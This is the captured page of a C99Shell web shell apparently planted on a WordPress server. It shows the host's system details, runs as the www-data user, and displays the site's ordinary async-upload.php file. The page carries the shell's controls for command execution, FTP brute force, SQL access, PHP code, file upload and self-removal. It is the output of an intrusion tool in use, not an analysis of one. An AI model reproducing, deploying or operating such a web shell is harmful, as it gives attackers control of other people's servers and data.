!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dev/wp-admin/   drwxrwxr-x
Free 39.78 GB of 48.28 GB (82.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     async-upload.php (4.56 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Server-side file upload handler from wp-plupload or other asynchronous upload methods.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( isset( $_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
    
define'DOING_AJAX'true );
}

if ( ! 
defined'WP_ADMIN' ) ) {
    
define'WP_ADMIN'true );
}

if ( 
defined'ABSPATH' ) ) {
    require_once 
ABSPATH 'wp-load.php';
} else {
    require_once 
dirname__DIR__ ) . '/wp-load.php';
}

require_once 
ABSPATH 'wp-admin/admin.php';

header'Content-Type: text/plain; charset=' get_option'blog_charset' ) );

if ( isset( 
$_REQUEST['action'] ) && 'upload-attachment' === $_REQUEST['action'] ) {
    require 
ABSPATH 'wp-admin/includes/ajax-actions.php';

    
send_nosniff_header();
    
nocache_headers();

    
wp_ajax_upload_attachment();
    die( 
'0' );
}

if ( ! 
current_user_can'upload_files' ) ) {
    
wp_die__'Sorry, you are not allowed to upload files.' ) );
}

// Just fetch the detail form for that attachment.
if ( isset( $_REQUEST['attachment_id'] ) && (int) $_REQUEST['attachment_id'] && $_REQUEST['fetch'] ) {
    
$id   = (int) $_REQUEST['attachment_id'];
    
$post get_post$id );
    if ( 
'attachment' !== $post->post_type ) {
        
wp_die__'Invalid post type.' ) );
    }

    switch ( 
$_REQUEST['fetch'] ) {
        case 
3:
            
?>
            <div class="media-item-wrapper">
                <div class="attachment-details">
                    <?php
                    $thumb_url 
wp_get_attachment_image_src$id'thumbnail'true );
                    if ( 
$thumb_url ) {
                        echo 
'<img class="pinkynail" src="' esc_url$thumb_url[0] ) . '" alt="" />';
                    }

                    
// Title shouldn't ever be empty, but use filename just in case.
                    
$file     get_attached_file$post->ID );
                    
$file_url wp_get_attachment_url$post->ID );
                    
$title    $post->post_title $post->post_title wp_basename$file );
                    
?>
                    <div class="filename new">
                        <span class="media-list-title"><strong><?php echo esc_htmlwp_html_excerpt$title60'&hellip;' ) ); ?></strong></span>
                        <span class="media-list-subtitle"><?php echo wp_basename$file ); ?></span>
                    </div>
                </div>
                <div class="attachment-tools">
                    <span class="media-item-copy-container copy-to-clipboard-container edit-attachment">
                        <button type="button" class="button button-small copy-attachment-url" data-clipboard-text="<?php echo $file_url?>"><?php _e'Copy URL to clipboard' ); ?></button>
                        <span class="success hidden" aria-hidden="true"><?php _e'Copied!' ); ?></span>
                    </span>
                    <?php
                    
if ( current_user_can'edit_post'$id ) ) {
                        echo 
'<a class="edit-attachment" href="' esc_urlget_edit_post_link$id ) ) . '">' _x'Edit''media item' ) . '</a>';
                    } else {
                        echo 
'<span class="edit-attachment">' _x'Success''media item' ) . '</span>';
                    }
                    
?>
                </div>
            </div>
            <?php
            
break;
        case 
2:
            
add_filter'attachment_fields_to_edit''media_single_attachment_fields_to_edit'10);
            echo 
get_media_item(
                
$id,
                array(
                    
'send'   => false,
                    
'delete' => true,
                )
            );
            break;
        default:
            
add_filter'attachment_fields_to_edit''media_post_single_attachment_fields_to_edit'10);
            echo 
get_media_item$id );
            break;
    }
    exit;
}

check_admin_referer'media-form' );

$post_id 0;
if ( isset( 
$_REQUEST['post_id'] ) ) {
    
$post_id absint$_REQUEST['post_id'] );
    if ( ! 
get_post$post_id ) || ! current_user_can'edit_post'$post_id ) ) {
        
$post_id 0;
    }
}

$id media_handle_upload'async-upload'$post_id );
if ( 
is_wp_error$id ) ) {
    
printf(
        
'<div class="error-div error">%s <strong>%s</strong><br />%s</div>',
        
sprintf(
            
'<button type="button" class="dismiss button-link" onclick="jQuery(this).parents(\'div.media-item\').slideUp(200, function(){jQuery(this).remove();});">%s</button>',
            
__'Dismiss' )
        ),
        
sprintf(
            
/* translators: %s: Name of the file that failed to upload. */
            
__'&#8220;%s&#8221; has failed to upload.' ),
            
esc_html$_FILES['async-upload']['name'] )
        ),
        
esc_html$id->get_error_message() )
    );
    exit;
}

if ( 
$_REQUEST['short'] ) {
    
// Short form response - attachment ID only.
    
echo $id;
} else {
    
// Long form response - big chunk of HTML.
    
$type $_REQUEST['type'];

    
/**
     * Filters the returned ID of an uploaded attachment.
     *
     * The dynamic portion of the hook name, `$type`, refers to the attachment type.
     *
     * Possible hook names include:
     *
     *  - `async_upload_audio`
     *  - `async_upload_file`
     *  - `async_upload_image`
     *  - `async_upload_video`
     *
     * @since 2.5.0
     *
     * @param int $id Uploaded attachment ID.
     */
    
echo apply_filters"async_upload_{$type}"$id );
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0079 ]--